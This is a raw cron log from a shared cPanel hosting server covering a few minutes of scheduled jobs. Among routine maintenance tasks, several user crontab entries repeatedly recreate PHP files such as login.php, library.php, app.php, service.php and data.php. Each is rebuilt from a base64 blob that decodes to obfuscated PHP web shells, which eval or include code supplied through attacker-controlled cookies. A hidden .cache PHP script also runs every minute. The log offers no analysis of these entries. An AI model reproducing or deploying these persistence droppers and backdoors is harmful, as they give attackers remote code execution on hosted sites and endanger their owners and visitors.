Jun  7 11:34:01 medusa CROND[528]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:34:01 medusa CROND[531]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:34:01 medusa CROND[533]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:34:01 medusa CROND[534]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:34:01 medusa CROND[535]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:34:01 medusa CROND[536]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:34:01 medusa CROND[538]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:34:01 medusa CROND[539]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:34:01 medusa CROND[540]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:34:01 medusa CROND[547]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:35:01 medusa CROND[2268]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:35:01 medusa CROND[2269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:35:01 medusa CROND[2270]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 11:35:01 medusa CROND[2271]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:35:01 medusa CROND[2272]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 11:35:01 medusa CROND[2273]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 11:35:01 medusa CROND[2274]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 11:35:01 medusa CROND[2277]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 11:35:01 medusa CROND[2280]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 11:35:01 medusa CROND[2278]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:35:01 medusa CROND[2289]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:35:01 medusa CROND[2290]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 11:35:01 medusa CROND[2288]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 11:35:01 medusa CROND[2292]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:35:01 medusa CROND[2291]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 11:35:01 medusa CROND[2297]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:35:01 medusa CROND[2296]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:35:01 medusa CROND[2299]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 11:35:01 medusa CROND[2301]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Jun  7 11:35:01 medusa CROND[2298]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 11:35:01 medusa CROND[2304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:35:01 medusa CROND[2306]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:35:01 medusa CROND[2300]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 11:35:01 medusa CROND[2316]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:35:01 medusa CROND[2320]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 11:36:01 medusa CROND[3784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:36:01 medusa CROND[3794]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 11:36:01 medusa CROND[3795]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:36:01 medusa CROND[3796]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
